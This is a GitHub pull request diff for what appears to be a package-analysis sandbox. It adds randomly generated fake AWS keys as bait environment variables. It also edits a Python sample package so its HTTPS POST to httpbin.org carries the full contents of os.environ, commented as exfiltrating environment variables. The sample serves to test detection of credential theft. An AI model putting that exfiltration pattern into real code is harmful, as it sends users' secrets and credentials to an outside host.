Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add environment variable baits #948

Merged
merged 8 commits into from
Nov 15, 2023
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions internal/worker/rundynamic.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,12 @@ import (
"context"
"crypto/rand"
"crypto/rsa"
"encoding/base64"
"encoding/pem"
"fmt"
"io"
"log/slog"
"math/big"
"os"
"path/filepath"
"runtime"
Expand Down Expand Up @@ -108,6 +110,28 @@ func addSSHKeysToSandbox(ctx context.Context, sb sandbox.Sandbox) error {
return sb.CopyIntoSandbox(ctx, tempdir+"/.", "/root/.ssh")
}

// generateAWSAccessID generates an AWS access key id based off of some known patterns and random values.
func generateAWSAccessKeyId() (string, error) {
const charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
var accessKeyId = "AKIAI"
for i := 0; i < 14; i++ {
randInt, err := rand.Int(rand.Reader, big.NewInt(int64(len(charSet))))
elainechien marked this conversation as resolved.
Show resolved Hide resolved
if err != nil {
return "", err
}
accessKeyId += string(charSet[randInt.Int64()])
}
accessKeyId += "Q"
return accessKeyId, nil
}

// generateAWSSecretAccessKey generates a random 30 byte base64 encoded string to use as an AWS secret access key.
func generateAWSSecretAccessKey() string {
b := make([]byte, 30)
rand.Read(b)
elainechien marked this conversation as resolved.
Show resolved Hide resolved
return base64.StdEncoding.EncodeToString(b)
}

/*
RunDynamicAnalysis runs dynamic analysis on the given package across the phases
valid in the package ecosystem (e.g. import, install), in a sandbox created
Expand Down Expand Up @@ -137,6 +161,18 @@ func RunDynamicAnalysis(ctx context.Context, pkg *pkgmanager.Pkg, sbOpts []sandb
analysisCmd = dynamicanalysis.DefaultCommand(pkg.Ecosystem())
}

// Adding environment variable baits. We use mocked AWS keys since they are
// commonly added as environment variables and will be easy to query for in
// the analysis results. See AWS docs on environment variable configuration:
// https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html
AWSAccessKeyId, err := generateAWSAccessKeyId()
if err != nil {
slog.WarnContext(ctx, "could not create AWS access key id", "error", err)
} else {
sbOpts = append(sbOpts, sandbox.SetEnv("AWS_ACCESS_KEY_ID", AWSAccessKeyId))
}
sbOpts = append(sbOpts, sandbox.SetEnv("AWS_SECRET_ACCESS_KEY", generateAWSSecretAccessKey()))

sb := sandbox.New(sbOpts...)

defer func() {
Expand Down
3 changes: 2 additions & 1 deletion sample_packages/sample_python_package/src/example.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,11 @@
import os

# Sends an HTTPS post request and prints out the response.
# Exfiltrates environment variables.
def send_https_post_request(called_from: str, print_logs: bool) -> None:
host = "www.httpbin.org"
conn = http.client.HTTPSConnection(host)
data = {'text': 'Sending data through HTTPS from: ' + called_from}
data = {"text": f"Sending data through HTTPS from: {called_from}. Found environment variables: {str(os.environ)}"}
json_data = json.dumps(data)
conn.request("POST", "/post", json_data, headers={"Host": host})
response = conn.getresponse()
Expand Down